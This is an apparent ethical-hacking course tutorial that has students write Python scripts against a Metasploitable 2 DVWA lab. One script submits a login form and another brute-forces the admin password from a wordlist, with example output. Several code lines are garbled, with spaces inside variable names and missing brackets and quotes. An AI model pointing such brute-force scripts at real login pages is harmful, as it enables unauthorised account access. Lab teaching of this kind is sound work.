Python Guess Login Password

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Time required: 60 minutes

Tutorial 1: Post Login Form

This Tutorial will use Kali Linux and Metasploitable 2 to simulate guessing a password on a web site.

A web form uses a post request to post information to the form. A web login screen is a form. We can use the Python **requests.post()** method to login to a web site.

- 1. Set Kali Linux and Metasploitable 2 to your EthicalHacking Nat Network.
- 2. Start Metasploitable 2.
- 3. Login \rightarrow use ip a to determine the ip address.
- 4. In Kali Linux → create a new Python file named: **post.py**
- 5. Enter the following code. Substitute your Metasploitable IP address in the target_url

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```
#!/usr/bin/env python3
    Filename: post.py
    How to post to a web site
    logon to DVWA metasploitable2
import requests
# Target Metasploitable 2 DVWA web server
# Use ip a to determine the ip address of your Metasploitable server
target_url = "http://10.10.1.5/dvwa/login.php"
# Contains information needed to logon to the web server
data dict = {
    "username": "admin",
    "password": "password",
    "Login": "submit"
response = requests.post(
    target_url,
    data=data dict
# Display the response
print(response.content)
```

Example run:

This shows the main web page html after we logged in with our post.py program.

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Tutorial 2: Guess the Password

If we know the username, we can use **requests.post()** to **brute force** the password. Most logins have a setting to only allow so many attempts before the account is locked out. The DVWA does not have the feature.

- 1. In Kali Linux: Go to passwords.txt file.
- 2. Click the Copy button to copy the text to the clipboard.
- Use nano or geany to create a passwords.txt in the same folder as the other Python programs.
 - At the end of it is the correct password: password.
- 4. On Kali Linux → Enter the following code:

```
#!/usr/bin/env python3
    Filename: guess password.py
    Guess the password to the DVWA web site on metasploitable 2
import time as time
import requests
# Target Metasploitable 2 DVWA web server
# Change 10.10.1.5 to your dvwa IP address
target_url = "http://10.10.1.5/dvwa/login.php"
# Dictionary for form login submission
# We are going to guess the password
data dict = {
    "username": "admin",
    "password": "",
    "Login": "submit"
# The current time/start time
start_time = time.time()
```

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```
# The current time/start time
start time = time.time()
print("[+] Starting password guess...")
# Open the passwords.txt as a wordlist to bruteforce the password
with open("passwords.txt", "r") as wordlist_file:
    # Read the file one line at a time
    for line in wordlist_file:
        # Strip the \n character
        word = line.strip()
        # Put password from file into the dictionary
        data_dict["password"] = word
        # Post data to form
        response = requests.post(target_url, data=data_dict)
        # Get response in text (String) for comparison
        # When Login failed is not in the response
        # we have the password
        if "Login failed" not in response.text:
            # The current time/finish time
            end time = time.time()
            # end - start to calculate elapsed time
            time_elapsed = end_time - start_time
            print(f"[+] Time elapsed: {time_elapsed:.2f} ms")
            print(f"[+] Got the password --> {word}")
            exit()
# If the password is not in the dictionary
# The current time/finish time
end_time = time.time()
# end - start to calculate elapsed time
time elapsed = end time - start time
print(f"[+] Time elapsed: {time_elapsed:.2f} ms")
print("[+] Reached end of line.")
```

Example run:

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```
(user⊕ kali)-[~]
$ python3 guess password.py
[+] Time elapsed: 0.09 ms
[+] Got the password → password

(user⊕ kali)-[~]
```

Assignment Submission

- Attach all program files.
- Insert a screenshot of successful runs of both programs.
- Submit the assignment in BlackBoard.

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